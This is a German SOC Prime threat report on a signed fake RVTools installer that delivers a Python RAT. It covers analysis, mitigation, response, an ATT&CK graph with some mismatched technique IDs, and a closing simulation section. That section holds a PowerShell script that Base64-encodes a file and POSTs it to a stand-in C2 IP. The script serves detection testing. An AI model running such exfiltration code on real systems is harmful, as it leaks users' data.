SOC Prime Bias: Mittel

29 May 2026 07:20 UTC

RVTools-Maskerade: Wie ein signierter falscher Installer einen modularen Python RAT verteilt

Author Photo
SOC Prime Team linkedin icon Folgen
RVTools-Maskerade: Wie ein signierter falscher Installer einen modularen Python RAT verteilt
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Ein bösartiger MSI-Installer, der mit einem legitimen Zertifikat signiert ist, gibt sich als das von VMware-Administratoren verwendete RVTools-Dienstprogramm aus. Nach der Ausführung legt der Installer ein VBScript ab, das PowerShell startet, um ein großes ZIP-Archiv von Dropbox herunterzuladen. Dieses Archiv enthält eine portable Python-Umgebung, die einen mehrstufigen RAT ausführt, der in der Lage ist, Aufklärung durchzuführen, Persistenz aufrechtzuerhalten und mit festgelegten Kommando- und Kontrollservern zu kommunizieren.

Untersuchung

Die Analyse verfolgte das MSI zu einer benutzerdefinierten VBScript-Aktion, Binary.MyScript.vbs, die einen verschleierten PowerShell-Befehl dekodierte. Dieser Befehl lud ein winp.zip Payload in %APPDATA%, extrahierte Python-Komponenten und Skripte wie collector.py and Pmanager.py, und stellte dann Persistenz über Registry-Run-Schlüssel und eine geplante Aufgabe nach einem Neustart her. Forscher fanden außerdem heraus, dass der RAT gesammelte Daten mit RC4 verschlüsselte und in fünfminütigen Intervallen zu fünf festen IP-Adressen sendete.

Minderung

Organisationen sollten eine strikte Code-Signatur-Validierung mit Live-OCSP- oder CRL-Prüfungen durchsetzen, die Ausführung von nicht vertrauenswürdigen MSIs blockieren und nach verdächtigen benutzerdefinierten VBScript-Aktionen in Installer-Paketen überwachen. Verteidiger sollten auch die automatische Ausführung heruntergeladener Skripte verhindern, nach neuen Run-Key-Einträgen und der Erstellung geplanter Aufgaben Ausschau halten und bei ausgehendem Datenverkehr zu unbekannten, fest codierten IP-Adressen Alarm schlagen.

Reaktion

Falls diese Aktivität erkannt wird, das betroffene Endgerät sofort isolieren, das MSI, das VBScript und die extrahierten Payload-Dateien für die forensische Analyse sammeln und alle Persistenz-Artefakte, einschließlich Run-Key und geplanter Aufgabe, entfernen. Die identifizierten Kommando- und Kontroll-IP-Adressen sollten an der Firewall blockiert werden, und eine umfassendere Überprüfung von Anmeldeinformationen und Aktivitäten im Active Directory sollte durchgeführt werden, um festzustellen, ob seitliche Bewegungen stattgefunden haben.

„graph TB %% Klassendefinitionen classDef phase fill:#99ccff classDef technique fill:#ffcc99 classDef tool fill:#cccccc classDef artifact fill:#e0e0e0 classDef persistence fill:#c2f0c2 classDef c2 fill:#f9c2c2 classDef evasion fill:#f0e68c %% Phasen phase_initial_access[„Phase: Erstzugriff
Aktion – Opfer führt ein signiertes, bösartiges MSI aus, das sich als RVTools ausgibt.“] class phase_initial_access phase phase_execution[„Phase: Ausführung
Aktion – MSI verwendet Msiexec, um ein VBScript auszuführen, das einen versteckten PowerShell-Downloader startet.“] class phase_execution phase phase_payload[„Phase: Payload-Bereitstellung
Aktion – Archiv wird in eine portable WinPython-Umgebung entpackt, die collector.py und manager.py enthält.“] class phase_payload phase phase_persistence[„Phase: Persistenz
Aktion – Python-Manager erstellt Registry-Run-Schlüssel, geplante Aufgabe und Active-Setup-Eintrag.“] class phase_persistence phase phase_c2[„Phase: Kommando und Kontrolle
Aktion – Gesammelte Daten werden archiviert, mit RC4 verschlüsselt und über HTTP POST an fest codierte IPs exfiltriert.“] class phase_c2 phase phase_evasion[„Phase: Verteidigungsausweichung
Aktion – Verwendung signierter Binärdateien, Proxy-Ausführung und Zeichenverschleierung, um Erkennungen zu umgehen.“] class phase_evasion phase %% Techniken für Erstzugriff tech_user_execution[„Technik T1204.002 Benutzerausführung: Bösartige Datei
Opfer führt eine bösartige Datei aus, die er für legitim hält.“] class tech_user_execution technique tech_masquerading[„Technik T1036.001 Maskierung
Binärdatei ist signiert und benannt wie ein legitimes Dienstprogramm (RVTools).“] class tech_masquerading technique tech_trusted_dev_proxy[„Technik T1127 Vertrauenswürdige Entwickler-Dienstprogramme Proxy-Ausführung
Signierte Binärdatei wird verwendet, um Reputationsprüfungen zu umgehen.“] class tech_trusted_dev_proxy technique %% Techniken für Ausführung tech_msiexec_proxy[„Technik T1218.007 System-Binary-Proxy-Ausführung: Msiexec
Msiexec wird aufgerufen, um das bösartige MSI auszuführen.“] class tech_msiexec_proxy technique tech_vbscript[„Technik T1059.005 Kommando- und Skript-Interpreter: Visual Basic
Benutzerdefinierte Aktion startet ein VBScript-Payload.“] class tech_vbscript technique tech_powershell[„Technik T1059.001 Kommando- und Skript-Interpreter: PowerShell
VBScript dekodiert und führt einen versteckten PowerShell-Download-Befehl aus.“] class tech_powershell technique %% Techniken für Payload-Bereitstellung tech_archive_custom[„Technik T1560.003 Archivierte gesammelte Daten: Archiv über benutzerdefinierte Methode
33 MB Zip (winp.zip) wird heruntergeladen und entpackt, um eine portable Python-Umgebung zu erstellen.“] class tech_archive_custom technique %% Techniken für Persistenz tech_registry_run[„Technik T1037.004 Boot- oder Anmeldeinitialisierungsskripte: Registry-Run
Registry-Run-Schlüssel wird erstellt, um manager.py beim Start auszuführen.“] class tech_registry_run persistence tech_scheduled_task[„Technik T1053 Geplante Aufgabe/Job
Tägliche geplante Aufgabe wird erstellt, um mit SYSTEM-Berechtigungen auszuführen.“] class tech_scheduled_task persistence tech_active_setup[„Technik T1547.014 Boot- oder Anmelde-Autostart-Ausführung: Active Setup
Active-Setup-Eintrag wird hinzugefügt, um die Ausführung für jeden Benutzer sicherzustellen.“] class tech_active_setup persistence tech_hijack_execution[„Technik T1574 Ausführungspfad-Hijacking
Geplante Aufgabe wird verwendet, um normale Ausführungspfade zu entführen.“] class tech_hijack_execution evasion %% Techniken für Kommando und Kontrolle tech_exfil_unencrypted[„Technik T1048.003 Exfiltration über unverschlüsseltes Nicht-C2-Protokoll
Daten werden über HTTP POST an fest codierte IP-Adressen gesendet.“] class tech_exfil_unencrypted c2 tech_exfil_asymmetric[„Technik T1048.002 Exfiltration über asymmetrisch verschlüsseltes Nicht-C2-Protokoll
Daten werden vor der Übertragung mit RC4 verschlüsselt.“] class tech_exfil_asymmetric c2 %% Techniken für Verteidigungsausweichung tech_system_script_proxy[„Technik T1216.002 System-Skript-Proxy-Ausführung: SyncAppvPublishingServer
Vertrauenswürdige Skripte fungieren als Proxys, um bösartige Aktivitäten zu verbergen.“] class tech_system_script_proxy evasion tech_system_binary_proxy[„Technik T1218 System-Binary-Proxy-Ausführung
Signierte Dienstprogramme (Msiexec) werden missbraucht, um Anwendungssteuerungen zu umgehen.“] class tech_system_binary_proxy evasion %% Artefakte artifact_msi[„Artefakt: bösartige_RVTools.msi
Signiertes MSI zur Eingangsgewinnung verwendet.“] class artifact_msi artifact artifact_zip[„Artefakt: winp.zip
Dropbox-gehostetes Archiv mit portablem WinPython.“] class artifact_zip artifact artifact_python_env[„Artefakt: WinPython-Umgebung
Enthält collector.py und manager.py zur Aufklärung.“] class artifact_python_env artifact artifact_registry_key[„Artefakt: Registry-Run-Schlüssel
HKCUSoftwareMicrosoftWindowsCurrentVersionRunWinPythonMgr“] class artifact_registry_key artifact artifact_scheduled_task[„Artefakt: Geplante Aufgabe
Name: WinPythonDaily, läuft mit SYSTEM.“] class artifact_scheduled_task artifact artifact_active_setup[„Artefakt: Active Setup-Eintrag
HKLMSoftwareMicrosoftActive SetupInstalled ComponentsWinPython“] class artifact_active_setup artifact artifact_c2_ip[„Artefakt: C2-IP-Adressen
Fest codierte IPv4-Adressen, die über HTTP kontaktiert werden.“] class artifact_c2_ip artifact %% Verbindungen phase_initial_access –>|verwendet| tech_user_execution phase_initial_access –>|verwendet| tech_masquerading phase_initial_access –>|verwendet| tech_trusted_dev_proxy phase_initial_access –>|liefert| artifact_msi tech_user_execution –>|führt aus| artifact_msi tech_masquerading –>|ermöglicht| artifact_msi tech_trusted_dev_proxy –>|umgeht| artifact_msi phase_execution –>|nutzt| tech_msiexec_proxy tech_msiexec_proxy –>|führt aus| tech_vbscript tech_vbscript –>|startet| tech_powershell tech_powershell –>|lädt herunter| artifact_zip artifact_zip –>|entpackt zu erstellen| artifact_python_env phase_payload –>|enthält| artifact_python_env phase_persistence –>|erstellt| tech_registry_run phase_persistence –>|erstellt| tech_scheduled_task phase_persistence –>|erstellt| tech_active_setup phase_persistence –>|verwendet| tech_hijack_execution tech_registry_run –>|schreibt| artifact_registry_key tech_scheduled_task –>|erstellt| artifact_scheduled_task tech_active_setup –>|schreibt| artifact_active_setup phase_c2 –>|archiviert und verschlüsselt Daten| tech_archive_custom tech_archive_custom –>|sendet über| tech_exfil_unencrypted tech_exfil_unencrypted –>|verwendet| artifact_c2_ip tech_exfil_unencrypted –>|verwendet auch| tech_exfil_asymmetric phase_evasion –>|wendet an| tech_system_script_proxy phase_evasion –>|wendet an| tech_system_binary_proxy tech_system_binary_proxy –>|erleichtert| tech_msiexec_proxy tech_system_script_proxy –>|erleichtert| tech_vbscript „

Angriffsfluss

Simulationsausführung

Voraussetzung: Der Telemetrie- und Baseline-Preflight-Check muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Gegnertechnik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und Erzählung MÜSSEN direkt die identifizierten TTPs widerspiegeln und darauf abzielen, die exakte Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.

  • Angriffserzählung & Befehle:
    Ein Gegner, der bereits einen Fuß auf der Opfermaschine etabliert hat, entscheidet sich, einen kleinen Datensatz zu exfiltrieren (z.B., C:Tempsecret.txt). Um zu vermeiden, generische Alarme für ausgehenden Verkehr auszulösen, verwendet der Akteur einen PowerShell Einzeiler, der einen HTTP-POST direkt zu einer der fest codierten C2-IPs durchführt (192.0.2.10). Der Befehl wird über eine Windows Geplante Aufgabe eingeplant, um Persistenz sicherzustellen (T1546.013). Keine zusätzlichen Binärdateien werden abgelegt, wodurch die Aktivität „living-off-the-land“ bleibt.

  • Regressionstest-Skript:

    # -------------------------------------------------
    # PowerShell-Skript – Datenexfiltration über fest codierte IP
    # -------------------------------------------------
    $c2Ip   = "192.0.2.10"
    $c2Port = 80
    $uri    = "http://$c2Ip/exfil"
    $file   = "C:Tempsecret.txt"
    
    # Sicherstellen, dass die Datei existiert (Dummy-Daten für Test erstellen)
    if (-Not (Test-Path $file)) {
        "sensible Daten $(Get-Date)" | Out-File -FilePath $file -Encoding ASCII
    }
    
    # Dateiinhalte lesen und Base64-verschlüsseln
    $payload = [Convert]::ToBase64String([IO.File]::ReadAllBytes($file))
    
    # HTTP-POST ausführen
    $body = @{ data = $payload }
    try {
        Invoke-WebRequest -Uri $uri -Method POST -Body $body -UseBasicParsing -TimeoutSec 10
        Write-Host "Exfiltrationsversuch gesendet an $c2Ip"
    } catch {
        Write-Error "Exfiltration fehlgeschlagen: $_"
    }
  • Bereinigungskommandos:

    # Entfernen der Dummy-Datei
    Remove-Item -Path "C:Tempsecret.txt" -Force -ErrorAction SilentlyContinue
    
    # Löschen Sie alle für den Test erstellten geplanten Aufgaben (falls vorhanden)
    $taskName = "DataExfilTask"
    if (Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue) {
        Unregister-ScheduledTask -TaskName $taskName -Confirm:$false
    }